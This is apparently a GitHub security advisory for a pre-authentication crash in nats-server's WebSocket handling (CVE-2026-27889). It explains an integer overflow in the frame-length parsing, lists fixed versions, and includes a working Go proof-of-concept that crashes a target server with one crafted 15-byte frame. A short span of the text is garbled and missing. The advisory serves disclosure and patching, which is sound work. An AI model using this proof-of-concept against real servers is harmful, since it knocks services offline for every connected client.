GitHub Advisoryadvisory · Go
GHSA-pq2q-rcw4-3hr6 NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead
HIGH
Official page ↗
- Aliases
- CVE-2026-27889
- Ecosystem
- Go
- Packages
- github.com/nats-io/nats-server/v2, github.com/nats-io/nats-server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-190
- Reviewed
- 2026-03-25
Affected packages
• Go github.com/nats-io/nats-server/v2: >= 2.2.0, < 2.11.14 → fixed in 2.11.14
• Go github.com/nats-io/nats-server/v2: >= 2.12.0, < 2.12.5 → fixed in 2.12.5
• Go github.com/nats-io/nats-server: all versions (no fix yet)
Description
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
Solution
Upgrade the NATS server to a fixed version.
Credits
This was reported to the NATS maintainers by GitHub user Mistz1.
Also independently reported by GitHub user jiayuqi7813.
-----
Report by @Mistz1
Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting `uint64` → `int` conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered `panic` in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
Details
Vulnerable code: `server/websocket.go` line 278
```go
r.rem = int(binary.BigEndian.Uint64(tmpBuf))
```
When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw `uint64` directly to `int` with no validation. RFC 6455 §5.2 states: *"the most significant bit MUST be 0"* — but nats-server never checks this.
Attack chain:
1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., `0x8000000000000001`).
2. At line 278, `int(0x8000000000000001)` produces `-9223372036854775807` on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).
3. `r.rem` is now negative. At line 307–311, the bounds clamp fails:
```go
n = r.rem // n = -9223372036854775807
if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE
n = max - pos // clamp NEVER fires
}
b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC
```
The addition `pos + n` wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than `max`, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.
4. There is no `defer recover()` anywhere in the goroutine chain:
• `startGoRoutine`: `go func() { f() }()` — no recovery
• `readLoop`: defer only does cleanup — no recovery
The unrecovered panic propagates to Go's runtime, which calls `os.Exit(2)`. The entire nats-server process terminates.
5. The WebSocket frame is parsed in `wsRead()` called from `readLoop()`, which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.
Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so `pos == max` and the payload loop at line 303 (`if pos 1 {
target = os.Args[1]
}
fmt.Printf("[*] Connecting to %s...\n", target)
conn, err := net.DialTimeout("tcp", target, 5*time.Second)
if err != nil {
fmt.Printf("[-] Connection failed: %v\n", err)
os.Exit(1)
}
defer conn.Close()
// WebSocket upgrade
req, _ := http.NewRequest("GET", "http://"+target, nil)
req.Header.Set("Upgrade", "websocket")
req.Header.Set("Connection", "Upgrade")
req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
req.Header.Set("Sec-WebSocket-Version", "13")
req.Header.Set("Sec-WebSocket-Protocol", "nats")
req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
resp, err := http.ReadResponse(bufio.NewReader(conn), req)
if err != nil || resp.StatusCode != 101 {
fmt.Printf("[-] Upgrade failed\n")
os.Exit(1)
}
fmt.Println("[+] WebSocket established")
conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
frame := make([]byte, 15)
frame[0] = 0x82 // FIN + Binary
frame[1] = 0xFF // MASK + 127 (64-bit length)
binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
frame[10] = 0xDE // Mask key
frame[11] = 0xAD
frame[12] = 0xBE
frame[13] = 0xEF
frame[14] = 0x41 // 1 payload byte
fmt.Printf("[*] Sending: %x\n", frame)
conn.Write(frame)
time.Sleep(2 * time.Second)
// Verify crash
conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
if err != nil {
fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
os.Exit(0)
}
conn2.Close()
fmt.Println("[-] Server still running")
}
```
Run:
```bash
go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash
```
Observed server output before termination:
```
panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
server/server.go:4078 +0x32
```
Tested against: nats-server v2.14.0-dev (commit `a69f51f`), Go 1.25.7, linux/amd64.
Impact
Vulnerability type: Pre-authentication remote denial of service (full process crash).
Who is impacted: Any nats-server deployment with WebSocket listeners enabled (`websocket { ... }` in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.
Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details.
This issue was also in…
Related
Alias · CVE (1)
- CVE-2026-27889 NATS-Server is a High-Performance server for NATS.io, a cloud and edge native messaging system. vulnerability
Weakness · CWE (1)
- CWE-190 Integer Overflow or Wraparound weakness